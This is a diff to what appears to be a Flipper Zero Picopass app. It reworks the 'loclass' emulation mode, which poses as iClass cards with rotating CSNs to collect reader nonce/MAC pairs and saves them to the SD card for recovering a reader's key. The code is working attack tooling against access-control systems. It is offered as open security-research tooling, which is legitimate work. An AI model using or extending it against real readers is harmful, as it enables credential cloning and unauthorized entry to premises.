@@ -835,22 +835,37 @@ static inline void picopass_emu_write_blocks(
835835 block_count * RFAL_PICOPASS_BLOCK_LEN );
836836}
837837
838- static void picopass_init_cipher_state (NfcVData * nfcv_data , PicopassEmulatorCtx * ctx ) {
838+ static void picopass_init_cipher_state_key (
839+ NfcVData * nfcv_data ,
840+ PicopassEmulatorCtx * ctx ,
841+ const uint8_t key [RFAL_PICOPASS_BLOCK_LEN ]) {
839842 uint8_t cc [RFAL_PICOPASS_BLOCK_LEN ];
843+ picopass_emu_read_blocks (nfcv_data , cc , PICOPASS_SECURE_EPURSE_BLOCK_INDEX , 1 );
844+
845+ ctx -> cipher_state = loclass_opt_doTagMAC_1 (cc , key );
846+ }
847+
848+ static void picopass_init_cipher_state (NfcVData * nfcv_data , PicopassEmulatorCtx * ctx ) {
840849 uint8_t key [RFAL_PICOPASS_BLOCK_LEN ];
841850
842- picopass_emu_read_blocks (nfcv_data , cc , PICOPASS_SECURE_EPURSE_BLOCK_INDEX , 1 );
843851 picopass_emu_read_blocks (nfcv_data , key , ctx -> key_block_num , 1 );
844852
845- ctx -> cipher_state = loclass_opt_doTagMAC_1 ( cc , key );
853+ picopass_init_cipher_state_key ( nfcv_data , ctx , key );
846854}
847855
848856static void
849857 loclass_update_csn (FuriHalNfcDevData * nfc_data , NfcVData * nfcv_data , PicopassEmulatorCtx * ctx ) {
850- // collect two nonces in a row for each CSN
851- uint8_t csn_num = (ctx -> key_block_num / 2 ) % LOCLASS_NUM_CSNS ;
852- memcpy (nfc_data -> uid , loclass_csns [csn_num ], RFAL_PICOPASS_BLOCK_LEN );
853- picopass_emu_write_blocks (nfcv_data , loclass_csns [csn_num ], PICOPASS_CSN_BLOCK_INDEX , 1 );
858+ // collect LOCLASS_NUM_PER_CSN nonces in a row for each CSN
859+ const uint8_t * csn =
860+ loclass_csns [(ctx -> key_block_num / LOCLASS_NUM_PER_CSN ) % LOCLASS_NUM_CSNS ];
861+ memcpy (nfc_data -> uid , csn , RFAL_PICOPASS_BLOCK_LEN );
862+ picopass_emu_write_blocks (nfcv_data , csn , PICOPASS_CSN_BLOCK_INDEX , 1 );
863+
864+ uint8_t key [RFAL_PICOPASS_BLOCK_LEN ];
865+ loclass_iclass_calc_div_key (csn , picopass_iclass_key , key , false);
866+ picopass_emu_write_blocks (nfcv_data , key , PICOPASS_SECURE_KD_BLOCK_INDEX , 1 );
867+
868+ picopass_init_cipher_state_key (nfcv_data , ctx , key );
854869}
855870
856871static void picopass_emu_handle_packet (
@@ -865,7 +880,7 @@ static void picopass_emu_handle_packet(
865880
866881 const uint8_t block_ff [8 ] = {0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF };
867882
868- if (nfcv_data -> frame_length < 1 ) {
883+ if (nfcv_data -> frame_length < 1 || ctx -> state == PicopassEmulatorStateStopEmulation ) {
869884 return ;
870885 }
871886
@@ -999,6 +1014,8 @@ static void picopass_emu_handle_packet(
9991014 return ;
10001015 }
10011016
1017+ // loclass mode doesn't do any card side crypto, just logs the readers crypto, so no-op in this mode
1018+ // we can also no-op if the key block is the same, CHECK re-inits if it failed already
10021019 if (ctx -> key_block_num != key_block_num && !ctx -> loclass_mode ) {
10031020 ctx -> key_block_num = key_block_num ;
10041021 picopass_init_cipher_state (nfcv_data , ctx );
@@ -1020,13 +1037,13 @@ static void picopass_emu_handle_packet(
10201037 uint8_t cc [RFAL_PICOPASS_BLOCK_LEN ];
10211038 picopass_emu_read_blocks (nfcv_data , cc , PICOPASS_SECURE_EPURSE_BLOCK_INDEX , 1 );
10221039
1023- // Check if the nonce is from a standard key
1040+ #ifndef PICOPASS_DEBUG_IGNORE_LOCLASS_STD_KEY
10241041 uint8_t key [RFAL_PICOPASS_BLOCK_LEN ];
1025- loclass_iclass_calc_div_key ( nfc_data -> uid , picopass_iclass_key , key , false);
1026- ctx -> cipher_state = loclass_opt_doTagMAC_1 ( cc , key );
1042+ // loclass mode stores the derived standard debit key in Kd to check
1043+ picopass_emu_read_blocks ( nfcv_data , key , PICOPASS_SECURE_KD_BLOCK_INDEX , 1 );
10271044
10281045 uint8_t rmac [4 ];
1029- loclass_opt_doBothMAC_2 (ctx -> cipher_state , nfcv_data -> frame + 1 , rmac , response , key );
1046+ loclass_opt_doReaderMAC_2 (ctx -> cipher_state , nfcv_data -> frame + 1 , rmac , key );
10301047
10311048 if (!memcmp (nfcv_data -> frame + 5 , rmac , 4 )) {
10321049 // MAC from reader matches Standard Key, keyroll mode or non-elite keyed reader.
@@ -1035,25 +1052,46 @@ static void picopass_emu_handle_packet(
10351052 FURI_LOG_W (TAG , "loclass: standard key detected during collection" );
10361053 ctx -> loclass_got_std_key = true;
10371054
1038- ctx -> state = PicopassEmulatorStateIdle ;
1055+ // Don't reset the state as the reader may try a different key next without going through anticoll
1056+ // The reader is always free to redo the anticoll if it wants to anyway
1057+
10391058 return ;
10401059 }
1060+ #endif
10411061
1042- // Copy CHALLENGE (nr) and READERSIGNATURE (mac) from frame
1043- uint8_t nr [4 ];
1044- memcpy (nr , nfcv_data -> frame + 1 , 4 );
1045- uint8_t mac [4 ];
1046- memcpy (mac , nfcv_data -> frame + 5 , 4 );
1047-
1048- FURI_LOG_I (TAG , "loclass: got nr/mac pair" );
1049- loclass_writer_write_params (
1050- ctx -> loclass_writer , ctx -> key_block_num , nfc_data -> uid , cc , nr , mac );
1051-
1052- // Rotate to the next CSN
1053- ctx -> key_block_num = (ctx -> key_block_num + 1 ) % (LOCLASS_NUM_CSNS * 2 );
1054- loclass_update_csn (nfc_data , nfcv_data , ctx );
1062+ // Save to buffer to defer flushing when we rotate CSN
1063+ memcpy (
1064+ ctx -> loclass_mac_buffer + ((ctx -> key_block_num % LOCLASS_NUM_PER_CSN ) * 8 ),
1065+ nfcv_data -> frame + 1 ,
1066+ 8 );
1067+
1068+ // Rotate to the next CSN/attempt
1069+ ctx -> key_block_num ++ ;
1070+
1071+ // CSN changed
1072+ if (ctx -> key_block_num % LOCLASS_NUM_PER_CSN == 0 ) {
1073+ // Flush NR-MACs for this CSN to SD card
1074+ uint8_t cc [RFAL_PICOPASS_BLOCK_LEN ];
1075+ picopass_emu_read_blocks (nfcv_data , cc , PICOPASS_SECURE_EPURSE_BLOCK_INDEX , 1 );
1076+
1077+ for (int i = 0 ; i < LOCLASS_NUM_PER_CSN ; i ++ ) {
1078+ loclass_writer_write_params (
1079+ ctx -> loclass_writer ,
1080+ ctx -> key_block_num + i - LOCLASS_NUM_PER_CSN ,
1081+ nfc_data -> uid ,
1082+ cc ,
1083+ ctx -> loclass_mac_buffer + (i * 8 ),
1084+ ctx -> loclass_mac_buffer + (i * 8 ) + 4 );
1085+ }
10551086
1056- ctx -> state = PicopassEmulatorStateIdle ;
1087+ if (ctx -> key_block_num < LOCLASS_NUM_CSNS * LOCLASS_NUM_PER_CSN ) {
1088+ loclass_update_csn (nfc_data , nfcv_data , ctx );
1089+ // Only reset the state when we change to a new CSN for the same reason as when we get a standard key
1090+ ctx -> state = PicopassEmulatorStateIdle ;
1091+ } else {
1092+ ctx -> state = PicopassEmulatorStateStopEmulation ;
1093+ }
1094+ }
10571095
10581096 return ;
10591097 }
@@ -1079,7 +1117,7 @@ static void picopass_emu_handle_packet(
10791117 break ;
10801118 case RFAL_PICOPASS_CMD_UPDATE : // ADDRESS(1) DATA(8) SIGN(4)|CRC16(2)
10811119 if ((nfcv_data -> frame_length != 12 && nfcv_data -> frame_length != 14 ) ||
1082- ctx -> state != PicopassEmulatorStateSelected ) {
1120+ ctx -> state != PicopassEmulatorStateSelected || ctx -> loclass_mode ) {
10831121 return ;
10841122 }
10851123
@@ -1248,9 +1286,6 @@ void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode)
12481286 }
12491287
12501288 // Setup blocks for loclass attack
1251- emu_ctx .key_block_num = 0 ;
1252- loclass_update_csn (& nfc_data , nfcv_data , & emu_ctx );
1253-
12541289 uint8_t conf [8 ] = {0x12 , 0xFF , 0xFF , 0xFF , 0x7F , 0x1F , 0xFF , 0x3C };
12551290 picopass_emu_write_blocks (nfcv_data , conf , PICOPASS_CONFIG_BLOCK_INDEX , 1 );
12561291
@@ -1260,6 +1295,9 @@ void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode)
12601295 uint8_t aia [8 ] = {0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF };
12611296 picopass_emu_write_blocks (nfcv_data , aia , PICOPASS_SECURE_AIA_BLOCK_INDEX , 1 );
12621297
1298+ emu_ctx .key_block_num = 0 ;
1299+ loclass_update_csn (& nfc_data , nfcv_data , & emu_ctx );
1300+
12631301 loclass_writer_write_start_stop (emu_ctx .loclass_writer , true);
12641302 } else {
12651303 memcpy (nfc_data .uid , blocks [PICOPASS_CSN_BLOCK_INDEX ].data , RFAL_PICOPASS_BLOCK_LEN );
0 commit comments